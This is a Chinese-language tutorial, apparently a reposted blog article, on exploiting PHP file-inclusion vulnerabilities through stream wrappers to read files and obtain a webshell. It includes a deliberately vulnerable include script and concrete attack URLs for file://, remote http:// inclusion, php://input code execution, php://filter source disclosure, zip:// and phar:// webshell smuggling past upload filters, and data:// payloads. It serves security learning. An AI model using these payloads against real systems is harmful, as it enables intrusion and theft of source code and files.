PHP文件包含及使用偽協議getshell


 

 首先構造一個具有文件包含漏洞的php文件。

require($_GET['file']);

 其次使用偽協議包含文件並getshell:

  1、file://:訪問本地文件系統。

    

    例如。http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts

    

  2、http://:訪問http或https的網址

    

    例如:http://localhost/test.php?file=http://www.baidu.com

    

    http://偽協議必須   allow_url_fopen與allow_url_include同時開啟。缺一不可。

    此偽協議就是遠程文件包含漏洞。可通過其他主機getshell。例如:http://localhost/test.php?file=http://localhost/1.php

    

  3、php://訪問各個輸入輸出流

     

      php://偽協議,主要為php://input與php://filter

      php://input:將POST輸入流當做PHP代碼執行。其只受   allow_url_include參數的影響,allow_url_fopen開關與此偽協議無關。

      例如:開啟allow_url_include參數,關閉allow_url_fopen參數。

        

      訪問:http://localhost/test.php?file=php://input    POST:<?php phpinfo();

        

    php://filter偽協議:不受   allow_url_fopen與allow_url_include參數的影響

      

      此協議主要用於讀取php源代碼時會用到。

      例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

        

      也就是說,將一個PHP文件通過base64編碼讀出。倘若不加read讀取鏈,則會將其中內容當做PHP代碼執行,倘若如此,則無法讀取PHP文件內容,於是在讀取鏈中將其編碼。

      例如:php://filter/resource=./1.txt

       

      

      所以說,php://filter此協議不受參數影響,即可讀取文件內容,也可包含惡意文件直接getshell。

      例如:將1.txt修改為

      菜刀連接:http://localhost/test.php?file=php://filter/resource=./1.txt

      

      getshell成功

   4、zip://偽協議

      

      試想倘若有一種情況限制文件后綴為php文件,並且上傳文件只能傳jpg文件。allow_url_fopen參數與allow_url_include參數全部off的情況下。

      

<?php
    $file = $_GET['file'] . '.php';
    include($file);
?>

      貌似之前所用偽協議都無效,比較舊的版本可以使用00截斷,路勁長度截斷等。但是若無截斷漏洞該如何?

      此種情況下可以使用zip偽協議,將木馬放入壓縮包中,再將壓縮包后綴修改為上傳白名單,然后使用zip偽協議進行包含。

      例如:zip://絕對路徑\需要解壓縮的文件%23子文件名  

      

    5、phar://偽協議

      同zip偽協議。故上述問題此協議也可解決。

      phar://cc.jpg/cc,與zip協議不同的是zip協議為絕對路徑,而phar協議為相對路徑。

      

    6、data://偽協議

       

      可以看到,此協議是受 allow_url_include 限制的。所以 allow_url_fopen參數與allow_url_include都需開啟。

      data://text/plain,<?php phpinfo();?>。test/plain, 后面的值會被當做php代碼執行。

      

      也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

        


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM